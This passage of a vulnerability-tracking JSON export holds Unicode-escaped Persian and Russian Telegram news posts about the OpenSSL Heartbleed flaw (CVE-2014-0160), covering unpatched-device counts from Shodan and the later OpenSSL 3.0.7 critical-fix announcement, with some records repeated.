\u0647\u0632\u0627\u0631 \u0633\u0627\u0645\u0627\u0646\u0647 \u062f\u0627\u0631\u0627\u06cc \u0627\u06cc\u0646 \u0622\u0633\u06cc\u0628\u200c\u067e\u0630\u06cc\u0631\u06cc \u0647\u0633\u062a\u0646\u062f. \n\n\u062a\u0644\u0627\u0634\u200e\u0647\u0627 \u0628\u0631\u0627\u06cc \u0648\u0635\u0644\u0647\u200c\u06cc \u0622\u0633\u06cc\u0628\u200c\u067e\u0630\u06cc\u0631\u06cc \u0627\u0632 \u0633\u0627\u0644 \u06f2\u06f0\u06f1\u06f4 \u062a\u0627\u06a9\u0646\u0648\u0646 \u06a9\u0627\u0647\u0634 \u06cc\u0627\u0641\u062a\u0647 \u0627\u0633\u062a. \u0627\u06cc\u0646 \u0622\u0633\u06cc\u0628\u200c\u067e\u0630\u06cc\u0631\u06cc \u0628\u0627 \u0634\u0646\u0627\u0633\u0647\u200c\u06cc CVE-\u06f2\u06f0\u06f1\u06f4-\u06f0\u06f1\u06f6\u06f0 \u0628\u0631\u0646\u0627\u0645\u0647\u200c\u06cc OpenSSL \u0631\u0627 \u062a\u062d\u062a \u062a\u0623\u062b\u06cc\u0631 \u0642\u0631\u0627\u0631 \u062f\u0627\u062f\u0647 \u0648 \u0628\u0647 \u0645\u0647\u0627\u062c\u0645\u0627\u0646 \u0627\u062c\u0627\u0632\u0647\u200c\u06cc \u0633\u0631\u0642\u062a \u06af\u0630\u0631\u0648\u0627\u0698\u0647\u200c\u0647\u0627\u060c \u06a9\u0648\u06a9\u06cc\u200c\u0647\u0627\u06cc \u0648\u0631\u0648\u062f\u060c \u06a9\u0644\u06cc\u062f\u0647\u0627\u06cc \u062e\u0635\u0648\u0635\u06cc \u0631\u0645\u0632\u0646\u06af\u0627\u0631\u06cc \u0648 \u0633\u0627\u06cc\u0631 \u0627\u0637\u0644\u0627\u0639\u0627\u062a \u0631\u0627 \u0645\u06cc\u200c\u062f\u0647\u062f. \n\n\u067e\u0648\u06cc\u0634\u200c\u0647\u0627\u06cc \u0627\u0628\u0632\u0627\u0631 Shodan \u0646\u0634\u0627\u0646 \u0645\u06cc\u200c\u062f\u0647\u062f \u0646\u0632\u062f\u06cc\u06a9 \u0628\u0647 \u06f2\u06f0\u06f0 \u0647\u0632\u0627\u0631 \u0646\u0645\u0648\u0646\u0647\u200c\u06cc OpenSSL \u0648\u0635\u0644\u0647 \u0646\u0634\u062f\u0647 \u0648 \u062f\u0627\u0631\u0627\u06cc \u0622\u0633\u06cc\u0628\u200c\u067e\u0630\u06cc\u0631\u06cc Heartbleed \u0647\u0633\u062a\u0646\u062f. \u0627\u06cc\u0646 \u067e\u0648\u06cc\u0634 \u0646\u0634\u0627\u0646 \u0645\u06cc\u200c\u062f\u0647\u062f \u06f4\u06f2\u06f0\u06f3\u06f2 \u0633\u0631\u0648\u06cc\u0633 \u062f\u0631 \u0622\u0645\u0631\u06cc\u06a9\u0627\u060c \u06f1\u06f5\u06f3\u06f8\u06f0 \u0633\u0631\u0648\u06cc\u0633 \u062f\u0631 \u06a9\u0631\u0647\u060c \u06f1\u06f4\u06f1\u06f1\u06f6 \u0633\u0631\u0648\u06cc\u0633 \u062f\u0631 \u0686\u06cc\u0646 \u0648 \u06f1\u06f4\u06f0\u06f7\u06f2 \u0633\u0631\u0648\u06cc\u0633 \u062f\u0631 \u0622\u0644\u0645\u0627\u0646 \u062f\u0631 \u0645\u0639\u0631\u0636 \u062e\u0637\u0631 \u0642\u0631\u0627\u0631 \u062f\u0627\u0631\u0646\u062f.\n\n\u062a\u0642\u0631\u06cc\u0628\u0627\u064b \u06f7\u06f5 \u0647\u0632\u0627\u0631 \u0633\u0631\u0648\u06cc\u0633 \u0627\u0632 \u06af\u0648\u0627\u0647\u06cc\u200c\u0646\u0627\u0645\u0647\u200c\u0647\u0627\u06cc \u0645\u0646\u0642\u0636\u06cc\u200c\u0634\u062f\u0647\u200c\u06cc SSL \u0648 \u0644\u06cc\u0646\u0648\u06a9\u0633 \u06f3.x \u0627\u0633\u062a\u0641\u0627\u062f\u0647 \u0645\u06cc\u200c\u06a9\u0646\u0646\u062f. \u06cc\u06a9 \u0633\u0627\u0644 \u0642\u0628\u0644 \u06f1\u06f0 \u06a9\u0627\u0631\u06af\u0632\u0627\u0631 \u0633\u0631\u0648\u06cc\u0633 OpenSSL VPN \u0647\u0646\u0648\u0632 \u062f\u0627\u0631\u0627\u06cc \u0622\u0633\u06cc\u0628\u200c\u067e\u0630\u06cc\u0631\u06cc Heartbleed \u0628\u0648\u062f\u0646\u062f. \n\n\u0645\u0627\u062c\u0631\u0627\u06cc \u0648\u0635\u0644\u0647 \u0646\u06a9\u0631\u062f\u0646 \u0622\u0633\u06cc\u0628\u200c\u067e\u0630\u06cc\u0631\u06cc\u200c\u0647\u0627 \u0627\u0632 \u0622\u0646 \u0686\u06cc\u0632\u06cc \u06a9\u0647 \u0641\u06a9\u0631 \u0645\u06cc\u200c\u06a9\u0646\u06cc\u0645 \u0628\u062f\u062a\u0631 \u0627\u0633\u062a. \u0627\u0632 \u062a\u06cc\u0631 \u0645\u0627\u0647 \u06cc\u06a9 \u0622\u0633\u06cc\u0628\u200c\u067e\u0630\u06cc\u0631\u06cc \u0634\u0646\u0627\u062e\u062a\u0647\u200c\u0634\u062f\u0647\u200c\u06cc \u0645\u0627\u06cc\u06a9\u0631\u0648\u0633\u0627\u0641\u062a \u0622\u0641\u06cc\u0633 \u0645\u0648\u0631\u062f \u0628\u0647\u0631\u0647\u200c\u0628\u0631\u062f\u0627\u0631\u06cc \u0645\u06cc\u200c\u06af\u06cc\u0631\u062f \u06a9\u0647 \u0622\u0641\u06cc\u0633 \u06f2\u06f0\u06f1\u06f2 \u0631\u0627 \u062a\u062d\u062a \u062a\u0623\u062b\u06cc\u0631 \u0642\u0631\u0627\u0631 \u0645\u06cc\u200c\u062f\u0647\u062f. \u0627\u06cc\u0646 \u0646\u0634\u0627\u0646 \u0645\u06cc\u200c\u062f\u0647\u062f \u06a9\u0627\u0631\u0628\u0631\u0627\u0646 \u0647\u06cc\u0686 \u062a\u0648\u062c\u0647\u06cc \u0628\u0647 \u0628\u0647\u200c\u0631\u0648\u0632\u0631\u0633\u0627\u0646\u06cc \u0628\u0631\u0646\u0627\u0645\u0647\u200c\u0647\u0627 \u0646\u062f\u0627\u0631\u0646\u062f\u060c \u06a9\u0627\u0631\u06cc \u06a9\u0647 \u062d\u062a\u06cc \u062f\u0632\u062f\u0627\u0646 \u062f\u0631\u06cc\u0627\u06cc\u06cc \u0647\u0645 \u0622\u0646 \u0631\u0627 \u0627\u0646\u062c\u0627\u0645 \u0645\u06cc\u200c\u062f\u0647\u0646\u062f. \n\n\u0631\u062f\u0645\u0648\u0646\u062f \u062f\u0631 \u0633\u0627\u0644 \u06f2\u06f0\u06f1\u06f5 \u0647\u0634\u062f\u0627\u0631 \u062f\u0627\u062f \u06a9\u0647 \u0645\u0627\u06a9\u0631\u0648\u0647\u0627\u06cc \u0648\u0631\u062f \u062f\u0648\u0628\u0627\u0631\u0647 \u0628\u0647 \u0635\u062d\u0646\u0647\u200c\u06cc \u062a\u0647\u062f\u06cc\u062f\u0627\u062a \u0633\u0627\u06cc\u0628\u0631\u06cc \u0628\u0631\u06af\u0634\u062a\u0647 \u0648 \u0646\u0632\u062f\u06cc\u06a9 \u0628\u0647 \u0646\u06cc\u0645 \u0645\u06cc\u0644\u06cc\u0648\u0646 \u0631\u0627\u06cc\u0627\u0646\u0647 \u0631\u0627 \u062f\u0631 \u0633\u0631\u0627\u0633\u0631 \u062c\u0647\u0627\u0646 \u0622\u0644\u0648\u062f\u0647 \u06a9\u0631\u062f\u0647\u200c\u0627\u0646\u062f. \u062f\u0631 \u0633\u0627\u0644 \u06f2\u06f1\u06f0\u06f6 \u0646\u06cc\u0632 \u0634\u0627\u0647\u062f \u067e\u0648\u06cc\u0634\u200c\u0647\u0627\u06cc \u0645\u062e\u0631\u0628\u06cc \u0628\u0648\u062f\u06cc\u0645 \u06a9\u0647 \u0627\u0632 \u0645\u0627\u06a9\u0631\u0648\u0647\u0627\u06cc \u0645\u062e\u0631\u0628 \u0622\u0641\u06cc\u0633 \u0628\u0647\u0631\u0647\u200c\u0628\u0631\u062f\u0627\u0631\u06cc \u0645\u06cc\u200c\u06a9\u0631\u062f\u0646\u062f.", "creation_timestamp": "2026-07-26T07:02:11.059804Z"}, {"uuid": "ebbf3204-9082-443f-9edf-f6b7d7959173", "vulnerability_lookup_origin": "1a89b78e-f703-45f3-bb86-59eb712668bd", "author": "9f56dd64-161d-43a6-b9c3-555944290a09", "vulnerability": "CVE-2014-0160", "type": "seen", "source": "https://t.me/EchelonEyes/823", "content": "\u0412 OpenSSL \u043e\u0431\u043d\u0430\u0440\u0443\u0436\u0435\u043d\u0430 \u043f\u0435\u0440\u0432\u0430\u044f \u0437\u0430 8 \u043b\u0435\u0442 \u043a\u0440\u0438\u0442\u0438\u0447\u0435\u0441\u043a\u0430\u044f \u0443\u044f\u0437\u0432\u0438\u043c\u043e\u0441\u0442\u044c\n\n\u041f\u0440\u043e\u0435\u043a\u0442 OpenSSL \u043e\u0431\u044a\u044f\u0432\u0438\u043b \u043e \u043f\u0440\u0435\u0434\u0441\u0442\u043e\u044f\u0449\u0435\u043c \u043e\u0431\u043d\u043e\u0432\u043b\u0435\u043d\u0438\u0438 \u0434\u043b\u044f \u0443\u0441\u0442\u0440\u0430\u043d\u0435\u043d\u0438\u044f \u043a\u0440\u0438\u0442\u0438\u0447\u0435\u0441\u043a\u043e\u0439 \u0443\u044f\u0437\u0432\u0438\u043c\u043e\u0441\u0442\u0438 \u0432 \u043d\u0430\u0431\u043e\u0440\u0435 \u0438\u043d\u0441\u0442\u0440\u0443\u043c\u0435\u043d\u0442\u043e\u0432 \u0441 \u043e\u0442\u043a\u0440\u044b\u0442\u044b\u043c \u0438\u0441\u0445\u043e\u0434\u043d\u044b\u043c \u043a\u043e\u0434\u043e\u043c. \u041d\u043e\u0432\u0430\u044f \u0432\u0435\u0440\u0441\u0438\u044f OpenSSL 3.0.7, \u0432 \u043a\u043e\u0442\u043e\u0440\u043e\u0439 \u0431\u0443\u0434\u0435\u0442 \u0438\u0441\u043f\u0440\u0430\u0432\u043b\u0435\u043d \u043d\u0435\u0434\u043e\u0441\u0442\u0430\u0442\u043e\u043a, \u0432\u044b\u0439\u0434\u0435\u0442 1 \u043d\u043e\u044f\u0431\u0440\u044f 2022 \u0433\u043e\u0434\u0430. \u041d\u0430 \u0442\u0435\u043a\u0443\u0449\u0438\u0439 \u043c\u043e\u043c\u0435\u043d\u0442 \u043d\u0435 \u0441\u043e\u043e\u0431\u0449\u0430\u0435\u0442\u0441\u044f \u043d\u0438\u043a\u0430\u043a\u0438\u0445 \u043f\u043e\u0434\u0440\u043e\u0431\u043d\u043e\u0441\u0442\u0435\u0439 \u043e\u0431 \u0443\u044f\u0437\u0432\u0438\u043c\u043e\u0441\u0442\u0438. \u0420\u0430\u0437\u0440\u0430\u0431\u043e\u0442\u0447\u0438\u043a\u0438 \u043e\u0431\u0435\u0449\u0430\u044e\u0442 \u0440\u0430\u0441\u043a\u0440\u044b\u0442\u044c \u0434\u0435\u0442\u0430\u043b\u0438 \u043f\u043e\u0441\u043b\u0435 \u0432\u044b\u0445\u043e\u0434\u0430 \u0438\u0441\u043f\u0440\u0430\u0432\u043b\u0435\u043d\u0438\u044f.\n\nOpen SSL \u2013 \u044d\u0442\u043e \u043d\u0430\u0431\u043e\u0440 \u043a\u0440\u0438\u043f\u0442\u043e\u0433\u0440\u0430\u0444\u0438\u0447\u0435\u0441\u043a\u0438\u0445 \u0438\u043d\u0441\u0442\u0440\u0443\u043c\u0435\u043d\u0442\u043e\u0432 \u0441 \u043e\u0442\u043a\u0440\u044b\u0442\u044b\u043c \u0438\u0441\u0445\u043e\u0434\u043d\u044b\u043c \u043a\u043e\u0434\u043e\u043c \u0434\u043b\u044f \u043f\u0440\u043e\u0442\u043e\u043a\u043e\u043b\u0430 Transport Layer Security (TLS), \u0440\u0430\u043d\u0435\u0435 \u0438\u0437\u0432\u0435\u0441\u0442\u043d\u043e\u0433\u043e \u043a\u0430\u043a Secure Sockets Layer (SSL). \n\n\u041a\u0440\u0438\u0442\u0438\u0447\u0435\u0441\u043a\u0430\u044f \u0443\u044f\u0437\u0432\u0438\u043c\u043e\u0441\u0442\u044c \u0437\u0430\u0442\u0440\u0430\u0433\u0438\u0432\u0430\u0435\u0442 \u0442\u043e\u043b\u044c\u043a\u043e \u0432\u0435\u0440\u0441\u0438\u0438 3.0 \u0438 \u0431\u043e\u043b\u0435\u0435 \u043f\u043e\u0437\u0434\u043d\u0438\u0435. \u042d\u0442\u043e \u0432\u0442\u043e\u0440\u043e\u0439 \u043a\u0440\u0438\u0442\u0438\u0447\u0435\u0441\u043a\u0438\u0439 \u043d\u0435\u0434\u043e\u0441\u0442\u0430\u0442\u043e\u043a, \u0438\u0441\u043f\u0440\u0430\u0432\u043b\u0435\u043d\u043d\u044b\u0439 \u043f\u0440\u043e\u0435\u043a\u0442\u043e\u043c OpenSSL. \u0414\u043e \u044d\u0442\u043e\u0433\u043e, \u0432 2014 \u0433\u043e\u0434\u0443, \u0431\u044b\u043b\u0430 \u0438\u0441\u043f\u0440\u0430\u0432\u043b\u0435\u043d\u0430 \u0443\u044f\u0437\u0432\u0438\u043c\u043e\u0441\u0442\u044c Heartbleed (CVE-2014-0160, BDU:2015:09760) \u0432 2014 \u0433\u043e\u0434\u0443.\n\n\u0418\u0441\u0442\u043e\u0447\u043d\u0438\u043a: https://mta.openssl.org/pipermail/openssl-announce/2022-October/000238.html \n\n#\u0443\u044f\u0437\u0432\u0438\u043c\u043e\u0441\u0442\u044c #OpenSSL", "creation_timestamp": "2026-07-27T00:01:12.757389Z"}, {"uuid": "84922c18-61fc-433f-bf17-8fcc7e9266c9", "vulnerability_lookup_origin": "1a89b78e-f703-45f3-bb86-59eb712668bd", "author": "9f56dd64-161d-43a6-b9c3-555944290a09", "vulnerability": "CVE-2014-0160", "type": "seen", "source": "https://t.me/KaitNews/2783", "content": "\u062f\u0631 \u0633\u0627\u0644 \u06f2\u06f0\u06f1\u06f7 \u0647\u0645\u0686\u0646\u0627\u0646 \u06f2\u06f0\u06f0 \u0647\u0632\u0627\u0631 \u0633\u0627\u0645\u0627\u0646\u0647\u200c \u062f\u0627\u0631\u0627\u06cc \u0622\u0633\u06cc\u0628\u200c\u067e\u0630\u06cc\u0631\u06cc Heartbleed \u0647\u0633\u062a\u0646\u062f \n\n\ud83d\udcbb\ud83d\udc9b\ud83d\udcbb\ud83d\udc9b\ud83d\udcbb\ud83d\udc9b\ud83d\udcbb\ud83d\udc9b\ud83d\udcbb\n\n\u0646\u0632\u062f\u06cc\u06a9 \u0628\u0647 \u062f\u0648 \u0633\u0627\u0644 \u0648 \u0646\u0647 \u0645\u0627\u0647 \u0627\u0632 \u0627\u0641\u0634\u0627\u06cc \u0622\u0633\u06cc\u0628\u200c\u067e\u0630\u06cc\u0631\u06cc Heartbleed \u06af\u0630\u0634\u062a\u0647 \u0648 \u0647\u0646\u0648\u0632 \u0647\u0645 \u06f2\u06f0\u06f0 \u0647\u0632\u0627\u0631 \u0633\u0627\u0645\u0627\u0646\u0647 \u062f\u0627\u0631\u0627\u06cc \u0627\u06cc\u0646 \u0622\u0633\u06cc\u0628\u200c\u067e\u0630\u06cc\u0631\u06cc \u0647\u0633\u062a\u0646\u062f. \n\n\u062a\u0644\u0627\u0634\u200e\u0647\u0627 \u0628\u0631\u0627\u06cc \u0648\u0635\u0644\u0647\u200c\u06cc \u0622\u0633\u06cc\u0628\u200c\u067e\u0630\u06cc\u0631\u06cc \u0627\u0632 \u0633\u0627\u0644 \u06f2\u06f0\u06f1\u06f4 \u062a\u0627\u06a9\u0646\u0648\u0646 \u06a9\u0627\u0647\u0634 \u06cc\u0627\u0641\u062a\u0647 \u0627\u0633\u062a. \u0627\u06cc\u0646 \u0622\u0633\u06cc\u0628\u200c\u067e\u0630\u06cc\u0631\u06cc \u0628\u0627 \u0634\u0646\u0627\u0633\u0647\u200c\u06cc CVE-\u06f2\u06f0\u06f1\u06f4-\u06f0\u06f1\u06f6\u06f0 \u0628\u0631\u0646\u0627\u0645\u0647\u200c\u06cc OpenSSL \u0631\u0627 \u062a\u062d\u062a \u062a\u0623\u062b\u06cc\u0631 \u0642\u0631\u0627\u0631 \u062f\u0627\u062f\u0647 \u0648 \u0628\u0647 \u0645\u0647\u0627\u062c\u0645\u0627\u0646 \u0627\u062c\u0627\u0632\u0647\u200c\u06cc \u0633\u0631\u0642\u062a \u06af\u0630\u0631\u0648\u0627\u0698\u0647\u200c\u0647\u0627\u060c \u06a9\u0648\u06a9\u06cc\u200c\u0647\u0627\u06cc \u0648\u0631\u0648\u062f\u060c \u06a9\u0644\u06cc\u062f\u0647\u0627\u06cc \u062e\u0635\u0648\u0635\u06cc \u0631\u0645\u0632\u0646\u06af\u0627\u0631\u06cc \u0648 \u0633\u0627\u06cc\u0631 \u0627\u0637\u0644\u0627\u0639\u0627\u062a \u0631\u0627 \u0645\u06cc\u200c\u062f\u0647\u062f. \n\n\u067e\u0648\u06cc\u0634\u200c\u0647\u0627\u06cc \u0627\u0628\u0632\u0627\u0631 Shodan \u0646\u0634\u0627\u0646 \u0645\u06cc\u200c\u062f\u0647\u062f \u0646\u0632\u062f\u06cc\u06a9 \u0628\u0647 \u06f2\u06f0\u06f0 \u0647\u0632\u0627\u0631 \u0646\u0645\u0648\u0646\u0647\u200c\u06cc OpenSSL \u0648\u0635\u0644\u0647 \u0646\u0634\u062f\u0647 \u0648 \u062f\u0627\u0631\u0627\u06cc \u0622\u0633\u06cc\u0628\u200c\u067e\u0630\u06cc\u0631\u06cc Heartbleed \u0647\u0633\u062a\u0646\u062f. \u0627\u06cc\u0646 \u067e\u0648\u06cc\u0634 \u0646\u0634\u0627\u0646 \u0645\u06cc\u200c\u062f\u0647\u062f \u06f4\u06f2\u06f0\u06f3\u06f2 \u0633\u0631\u0648\u06cc\u0633 \u062f\u0631 \u0622\u0645\u0631\u06cc\u06a9\u0627\u060c \u06f1\u06f5\u06f3\u06f8\u06f0 \u0633\u0631\u0648\u06cc\u0633 \u062f\u0631 \u06a9\u0631\u0647\u060c \u06f1\u06f4\u06f1\u06f1\u06f6 \u0633\u0631\u0648\u06cc\u0633 \u062f\u0631 \u0686\u06cc\u0646 \u0648 \u06f1\u06f4\u06f0\u06f7\u06f2 \u0633\u0631\u0648\u06cc\u0633 \u062f\u0631 \u0622\u0644\u0645\u0627\u0646 \u062f\u0631 \u0645\u0639\u0631\u0636 \u062e\u0637\u0631 \u0642\u0631\u0627\u0631 \u062f\u0627\u0631\u0646\u062f.\n\n\u062a\u0642\u0631\u06cc\u0628\u0627\u064b \u06f7\u06f5 \u0647\u0632\u0627\u0631 \u0633\u0631\u0648\u06cc\u0633 \u0627\u0632 \u06af\u0648\u0627\u0647\u06cc\u200c\u0646\u0627\u0645\u0647\u200c\u0647\u0627\u06cc \u0645\u0646\u0642\u0636\u06cc\u200c\u0634\u062f\u0647\u200c\u06cc SSL \u0648 \u0644\u06cc\u0646\u0648\u06a9\u0633 \u06f3.x \u0627\u0633\u062a\u0641\u0627\u062f\u0647 \u0645\u06cc\u200c\u06a9\u0646\u0646\u062f. \u06cc\u06a9 \u0633\u0627\u0644 \u0642\u0628\u0644 \u06f1\u06f0 \u06a9\u0627\u0631\u06af\u0632\u0627\u0631 \u0633\u0631\u0648\u06cc\u0633 OpenSSL VPN \u0647\u0646\u0648\u0632 \u062f\u0627\u0631\u0627\u06cc \u0622\u0633\u06cc\u0628\u200c\u067e\u0630\u06cc\u0631\u06cc Heartbleed \u0628\u0648\u062f\u0646\u062f. \n\n\u0645\u0627\u062c\u0631\u0627\u06cc \u0648\u0635\u0644\u0647 \u0646\u06a9\u0631\u062f\u0646 \u0622\u0633\u06cc\u0628\u200c\u067e\u0630\u06cc\u0631\u06cc\u200c\u0647\u0627 \u0627\u0632 \u0622\u0646 \u0686\u06cc\u0632\u06cc \u06a9\u0647 \u0641\u06a9\u0631 \u0645\u06cc\u200c\u06a9\u0646\u06cc\u0645 \u0628\u062f\u062a\u0631 \u0627\u0633\u062a. \u0627\u0632 \u062a\u06cc\u0631 \u0645\u0627\u0647 \u06cc\u06a9 \u0622\u0633\u06cc\u0628\u200c\u067e\u0630\u06cc\u0631\u06cc \u0634\u0646\u0627\u062e\u062a\u0647\u200c\u0634\u062f\u0647\u200c\u06cc \u0645\u0627\u06cc\u06a9\u0631\u0648\u0633\u0627\u0641\u062a \u0622\u0641\u06cc\u0633 \u0645\u0648\u0631\u062f \u0628\u0647\u0631\u0647\u200c\u0628\u0631\u062f\u0627\u0631\u06cc \u0645\u06cc\u200c\u06af\u06cc\u0631\u062f \u06a9\u0647 \u0622\u0641\u06cc\u0633 \u06f2\u06f0\u06f1\u06f2 \u0631\u0627 \u062a\u062d\u062a \u062a\u0623\u062b\u06cc\u0631 \u0642\u0631\u0627\u0631 \u0645\u06cc\u200c\u062f\u0647\u062f. \u0627\u06cc\u0646 \u0646\u0634\u0627\u0646 \u0645\u06cc\u200c\u062f\u0647\u062f \u06a9\u0627\u0631\u0628\u0631\u0627\u0646 \u0647\u06cc\u0686 \u062a\u0648\u062c\u0647\u06cc \u0628\u0647 \u0628\u0647\u200c\u0631\u0648\u0632\u0631\u0633\u0627\u0646\u06cc \u0628\u0631\u0646\u0627\u0645\u0647\u200c\u0647\u0627 \u0646\u062f\u0627\u0631\u0646\u062f\u060c \u06a9\u0627\u0631\u06cc \u06a9\u0647 \u062d\u062a\u06cc \u062f\u0632\u062f\u0627\u0646 \u062f\u0631\u06cc\u0627\u06cc\u06cc \u0647\u0645 \u0622\u0646 \u0631\u0627 \u0627\u0646\u062c\u0627\u0645 \u0645\u06cc\u200c\u062f\u0647\u0646\u062f. \n\n\u0631\u062f\u0645\u0648\u0646\u062f \u062f\u0631 \u0633\u0627\u0644 \u06f2\u06f0\u06f1\u06f5 \u0647\u0634\u062f\u0627\u0631 \u062f\u0627\u062f \u06a9\u0647 \u0645\u0627\u06a9\u0631\u0648\u0647\u0627\u06cc \u0648\u0631\u062f \u062f\u0648\u0628\u0627\u0631\u0647 \u0628\u0647 \u0635\u062d\u0646\u0647\u200c\u06cc \u062a\u0647\u062f\u06cc\u062f\u0627\u062a \u0633\u0627\u06cc\u0628\u0631\u06cc \u0628\u0631\u06af\u0634\u062a\u0647 \u0648 \u0646\u0632\u062f\u06cc\u06a9 \u0628\u0647 \u0646\u06cc\u0645 \u0645\u06cc\u0644\u06cc\u0648\u0646 \u0631\u0627\u06cc\u0627\u0646\u0647 \u0631\u0627 \u062f\u0631 \u0633\u0631\u0627\u0633\u0631 \u062c\u0647\u0627\u0646 \u0622\u0644\u0648\u062f\u0647 \u06a9\u0631\u062f\u0647\u200c\u0627\u0646\u062f. \u062f\u0631 \u0633\u0627\u0644 \u06f2\u06f1\u06f0\u06f6 \u0646\u06cc\u0632 \u0634\u0627\u0647\u062f \u067e\u0648\u06cc\u0634\u200c\u0647\u0627\u06cc \u0645\u062e\u0631\u0628\u06cc \u0628\u0648\u062f\u06cc\u0645 \u06a9\u0647 \u0627\u0632 \u0645\u0627\u06a9\u0631\u0648\u0647\u0627\u06cc \u0645\u062e\u0631\u0628 \u0622\u0641\u06cc\u0633 \u0628\u0647\u0631\u0647\u200c\u0628\u0631\u062f\u0627\u0631\u06cc \u0645\u06cc\u200c\u06a9\u0631\u062f\u0646\u062f.", "creation_timestamp": "2026-07-27T00:01:50.598269Z"}, {"uuid": "54da03ee-9367-437a-981b-8170a40c4464", "vulnerability_lookup_origin": "1a89b78e-f703-45f3-bb86-59eb712668bd", "author": "9f56dd64-161d-43a6-b9c3-555944290a09", "vulnerability": "CVE-2014-0160", "type": "seen", "source": "https://t.me/EchelonEyes/823", "content": "\u0412 OpenSSL \u043e\u0431\u043d\u0430\u0440\u0443\u0436\u0435\u043d\u0430 \u043f\u0435\u0440\u0432\u0430\u044f \u0437\u0430 8 \u043b\u0435\u0442 \u043a\u0440\u0438\u0442\u0438\u0447\u0435\u0441\u043a\u0430\u044f \u0443\u044f\u0437\u0432\u0438\u043c\u043e\u0441\u0442\u044c\n\n\u041f\u0440\u043e\u0435\u043a\u0442 OpenSSL \u043e\u0431\u044a\u044f\u0432\u0438\u043b \u043e \u043f\u0440\u0435\u0434\u0441\u0442\u043e\u044f\u0449\u0435\u043c \u043e\u0431\u043d\u043e\u0432\u043b\u0435\u043d\u0438\u0438 \u0434\u043b\u044f \u0443\u0441\u0442\u0440\u0430\u043d\u0435\u043d\u0438\u044f \u043a\u0440\u0438\u0442\u0438\u0447\u0435\u0441\u043a\u043e\u0439 \u0443\u044f\u0437\u0432\u0438\u043c\u043e\u0441\u0442\u0438 \u0432 \u043d\u0430\u0431\u043e\u0440\u0435 \u0438\u043d\u0441\u0442\u0440\u0443\u043c\u0435\u043d\u0442\u043e\u0432 \u0441 \u043e\u0442\u043a\u0440\u044b\u0442\u044b\u043c \u0438\u0441\u0445\u043e\u0434\u043d\u044b\u043c \u043a\u043e\u0434\u043e\u043c. \u041d\u043e\u0432\u0430\u044f \u0432\u0435\u0440\u0441\u0438\u044f OpenSSL 3.0.7, \u0432 \u043a\u043e\u0442\u043e\u0440\u043e\u0439 \u0431\u0443\u0434\u0435\u0442 \u0438\u0441\u043f\u0440\u0430\u0432\u043b\u0435\u043d \u043d\u0435\u0434\u043e\u0441\u0442\u0430\u0442\u043e\u043a, \u0432\u044b\u0439\u0434\u0435\u0442 1 \u043d\u043e\u044f\u0431\u0440\u044f 2022 \u0433\u043e\u0434\u0430. \u041d\u0430 \u0442\u0435\u043a\u0443\u0449\u0438\u0439 \u043c\u043e\u043c\u0435\u043d\u0442 \u043d\u0435 \u0441\u043e\u043e\u0431\u0449\u0430\u0435\u0442\u0441\u044f \u043d\u0438\u043a\u0430\u043a\u0438\u0445 \u043f\u043e\u0434\u0440\u043e\u0431\u043d\u043e\u0441\u0442\u0435\u0439 \u043e\u0431 \u0443\u044f\u0437\u0432\u0438\u043c\u043e\u0441\u0442\u0438. \u0420\u0430\u0437\u0440\u0430\u0431\u043e\u0442\u0447\u0438\u043a\u0438 \u043e\u0431\u0435\u0449\u0430\u044e\u0442 \u0440\u0430\u0441\u043a\u0440\u044b\u0442\u044c \u0434\u0435\u0442\u0430\u043b\u0438 \u043f\u043e\u0441\u043b\u0435 \u0432\u044b\u0445\u043e\u0434\u0430 \u0438\u0441\u043f\u0440\u0430\u0432\u043b\u0435\u043d\u0438\u044f.\n\nOpen SSL \u2013 \u044d\u0442\u043e \u043d\u0430\u0431\u043e\u0440 \u043a\u0440\u0438\u043f\u0442\u043e\u0433\u0440\u0430\u0444\u0438\u0447\u0435\u0441\u043a\u0438\u0445 \u0438\u043d\u0441\u0442\u0440\u0443\u043c\u0435\u043d\u0442\u043e\u0432 \u0441 \u043e\u0442\u043a\u0440\u044b\u0442\u044b\u043c \u0438\u0441\u0445\u043e\u0434\u043d\u044b\u043c \u043a\u043e\u0434\u043e\u043c \u0434\u043b\u044f \u043f\u0440\u043e\u0442\u043e\u043a\u043e\u043b\u0430 Transport Layer Security (TLS), \u0440\u0430\u043d\u0435\u0435 \u0438\u0437\u0432\u0435\u0441\u0442\u043d\u043e\u0433\u043e \u043a\u0430\u043a Secure Sockets Layer (SSL). \n\n\u041a\u0440\u0438\u0442\u0438\u0447\u0435\u0441\u043a\u0430\u044f \u0443\u044f\u0437\u0432\u0438\u043c\u043e\u0441\u0442\u044c \u0437\u0430\u0442\u0440\u0430\u0433\u0438\u0432\u0430\u0435\u0442 \u0442\u043e\u043b\u044c\u043a\u043e \u0432\u0435\u0440\u0441\u0438\u0438 3.0 \u0438 \u0431\u043e\u043b\u0435\u0435 \u043f\u043e\u0437\u0434\u043d\u0438\u0435. \u042d\u0442\u043e \u0432\u0442\u043e\u0440\u043e\u0439 \u043a\u0440\u0438\u0442\u0438\u0447\u0435\u0441\u043a\u0438\u0439 \u043d\u0435\u0434\u043e\u0441\u0442\u0430\u0442\u043e\u043a, \u0438\u0441\u043f\u0440\u0430\u0432\u043b\u0435\u043d\u043d\u044b\u0439 \u043f\u0440\u043e\u0435\u043a\u0442\u043e\u043c OpenSSL. \u0414\u043e \u044d\u0442\u043e\u0433\u043e, \u0432 2014 \u0433\u043e\u0434\u0443, \u0431\u044b\u043b\u0430 \u0438\u0441\u043f\u0440\u0430\u0432\u043b\u0435\u043d\u0430 \u0443\u044f\u0437\u0432\u0438\u043c\u043e\u0441\u0442\u044c Heartbleed (CVE-2014-0160, BDU:2015:09760) \u0432 2014 \u0433\u043e\u0434\u0443.\n\n\u0418\u0441\u0442\u043e\u0447\u043d\u0438\u043a: https://mta.openssl.org/pipermail/openssl-announce/2022-October/000238.html \n\n#\u0443\u044f\u0437\u0432\u0438\u043c\u043e\u0441\u0442\u044c #OpenSSL", "creation_timestamp": "2026-07-28T06:00:04.448983Z"}, {"uuid": "f8db3e72-3f3f-4bfb-b8f7-c400cfeb3a4f", "vulnerability_lookup_origin": "1a89b78e-f703-45f3-bb86-59eb712668bd", "author": "9f56dd64-161d-43a6-b9c3-555944290a09", "vulnerability": "CVE-2014-0160", "type": "seen", "source": "https://t.me/EchelonEyes/823", "content": "\u0412 OpenSSL \u043e\u0431\u043d\u0430\u0440\u0443\u0436\u0435\u043d\u0430 \u043f\u0435\u0440\u0432\u0430\u044f \u0437\u0430 8 \u043b\u0435\u0442 \u043a\u0440\u0438\u0442\u0438\u0447\u0435\u0441\u043a\u0430\u044f 